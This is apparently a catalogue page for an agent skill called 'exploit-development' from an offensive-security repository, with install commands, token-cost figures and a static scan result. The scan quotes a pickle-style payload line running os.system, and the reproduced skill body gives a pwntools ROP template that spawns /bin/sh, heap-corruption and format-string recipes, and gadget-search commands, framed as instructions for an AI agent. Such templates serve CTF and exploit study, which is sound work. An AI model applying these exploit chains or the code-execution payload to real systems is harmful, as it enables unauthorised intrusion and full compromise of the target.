Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/jessefmoore/offensive-claude-code/exploit-developmentnpx skills add jessefmoore/offensive-claude-code --skill exploit-developmentgit clone --depth 1 https://github.com/jessefmoore/offensive-claude-codeWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00041 | $0.01492 |
| Opus 5 | $0.00020 | $0.00746 |
| Sonnet 5 | $0.00008 | $0.00298 |
| Haiku 4.5 | $0.00004 | $0.00149 |
Grade A, and why
exploit-development scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ('id',)) How it starts
The opening of the file, as written. The whole thing — 166 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Exploit Development
When to Activate
- Confirmed vulnerability needs working PoC
- Binary exploitation (stack/heap overflow, format string, UAF)
- Web exploitation requiring custom payloads
- Bypass of security mitigations (ASLR, DEP, canaries, CFI)
- Shellcode development for specific architectures
Binary Exploitation
Stack Buffer Overflow
from pwn import *
# Template: stack overflow with ROP
elf = ELF('./vulnerable')
rop = ROP(elf)
libc = ELF('./libc.so.6')
# Find offset
offset = cyclic_find(core.fault_addr) # or pattern_offset
# Leak libc address
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main']) # return to main for second stage
payload = flat(
b'A' * offset,
rop.chain()
)
# Stage 2: calculate libc base, call system("/bin/sh")
libc.address = leaked_puts - libc.symbols['puts']
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh\x00')))
payload2 = flat(
b'A' * offset,
rop2.chain()
)
Heap Exploitation
# tcache poisoning (glibc 2.26+)
# 1. Allocate chunks A, B
# 2. Free B, Free A (tcache: A -> B)
# 3. Allocate, overwrite A's fd pointer to target
# 4. Allocate twice — second allocation at target address
# House of Force (old glibc)
# Overwrite top chunk size to -1
# Calculate distance to target
# malloc(distance) consumes wilderness
# Next malloc returns target address
# Fastbin dup
# Free A, Free B, Free A (fastbin: A -> B -> A)
# Allocate with fd = target (must have valid size at target-0x8)
Format String Exploitation
# Read: %p %p %p ... (leak stack/libc addresses)
# Write: %n writes number of chars printed so far
# Targeted write: %{offset}$n writes to specific argument
# pwntools fmtstr_payload:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {target_addr: value}, write_size='short')
ROP Chain Construction
# Find gadgets
ropper --file ./binary --search "pop rdi"
ROPgadget --binary ./binary --ropchain
one_gadget ./libc.so.6 # one-shot execve gadgets
# Common ROP patterns:
# ret2libc: pop rdi; ret -> "/bin/sh" -> system
# ret2csu: __libc_csu_init gadgets for multi-arg calls
# Stack pivot: xchg rsp, rax; ret (pivot to controlled buffer)
# SROP: sigreturn to set all registers
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- yesterday First seen · 166 lines · 41 tokens per session scan A 22d8b8d4cba1
exploit-development is a skill published in the GitHub repository jessefmoore/offensive-claude-code (2 stars, last pushed 3mo ago), licensed MIT. It adds 41 tokens to every session and 1,492 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
next-cache-components-adoption
Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…
babysit-pr
Babysit a GitHub pull request after creation by continuously polling review comments, CI checks/workflow runs, and mergeability state until the PR is merged/closed or user help is required. Diagnose failures, retry likely flaky failures up to 3 times, auto-fix/push branch-related issues when appropriate, and keep…
imagegen
Generate or edit raster images when the task benefits from AI-created bitmap visuals such as photos, illustrations, textures, sprites, mockups, or transparent-background cutouts. Use when Codex should create a brand-new image, transform an existing image, or derive visual variants from references, and the output…
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…
next-cache-components-optimizer
Drive a Next.js route to instant navigation by setting up an agentic loop, under Cache Components / PPR, on initial load (hard navigation) and client-side navigation (soft navigation). Encode the goal as a failing @next/playwright instant() e2e and work it to green, one verified route at a time; the shipped test then…